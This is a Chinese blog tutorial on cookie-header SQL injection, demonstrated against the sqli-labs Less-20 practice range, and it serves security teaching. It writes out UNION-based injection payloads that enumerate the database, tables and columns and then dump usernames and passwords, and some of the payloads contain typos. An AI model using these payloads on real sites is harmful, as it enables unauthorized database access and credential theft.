sql注入--------(http头注入--cookie注入)

http注入------cookie注入

一、cookie的基本概念

               Cookie 并不是它的原意“甜饼”的意思, 而是一个保存在客户机中的简单的文本文件, 这个文件与特定的 Web 文档关联在一起, 保存了该客户机访问这个Web 文档时的信息, 当客户机再次访问这个 Web 文档时这些信息可供该文档使用。由于“Cookie”具有可以保存在客户机上的神奇特性, 因此它可以帮助我们实现记录用户个人信息的功能, 而这一切都不必使用复杂的CGI等程序 
举例来说, 一个 Web 站点可能会为每一个访问者产生一个唯一的ID, 然后以 Cookie 文件的形式保存在每个用户的机器上。如果使用浏览器访问 Web, 会看到所有保存在硬盘上的 Cookie。在这个文件夹里每一个文件都是一个由“名/值”对组成的文本文件,另外还有一个文件保存有所有对应的 Web 站点的信息。在这里的每个 Cookie 文件都是一个简单而又普通的文本文件。透过文件名, 就可以看到是哪个 Web 站点在机器上放置了Cookie(当然站点信息在文件里也有保存) ;
         也就是说cookie是记录客户端缓存的一种信息,纪录客户端的id信息等到客户端进入网站时,网站会根据cookie调用相应的缓存文件;
二、cookie注入
              cookie通常以http请求头的方式发送给服务器,但是一些网站数据库对用户发送的cookie没有进行严格的过滤,这就使通关拼接sql语句进行恶意查询存在可能;
三、例析
            这里我们以sqllabs靶场less20进行实践;
             打开靶场,发现是一个登录页面,输入用户名admin进入,页面回显了user-agent,cookie;猜测这里存在cookie注入点,这里使用hacker插件进行演示,当然也可以使用burp进行抓包修改cookie;
             首先,在cookie上输入admin' and 1=1 # 和admin' and 1=2# 发现回显页面不同,所以这里可能存在字符型注入点;
    确定存在字符型漏洞后使用order by函数进行子段数查询;
payload:  uname=admin' and 1=2 order by  4#
 当输入字段数为三时,页面回显正常,而为四时页面回显出现错误,说明只存在三个字段
     已经测得字符数,接下来使用联合查注的方法查询回显位;
payload:username=admin' and 1=2 union select 1,2,3 #

根据页面我们可以1,2,3均为回显位;所以我们可以使用回显位显示出我们想要查询的内容;

得到回显位后接下来就是查询数据库和版本号;

payload: username= admin' and 1=2 union slect 1,database(),version() #

得到数据库后我们就可以查询数据库中有哪些表;

payload:username=admin' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

通过查询得到了数据库里面有那些表,然后我们就可以查询列名;

payload:username=admin' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

最后,就是username,password两个字段的内容;

payload:username=admin' and 1=2 union select 1,2group_concat(username,password) from users #

到这里我们就得的了lusername和paaaword;

posted @ 2022-04-02 15:52  GTL_JU  阅读(313)  评论(0编辑  收藏  举报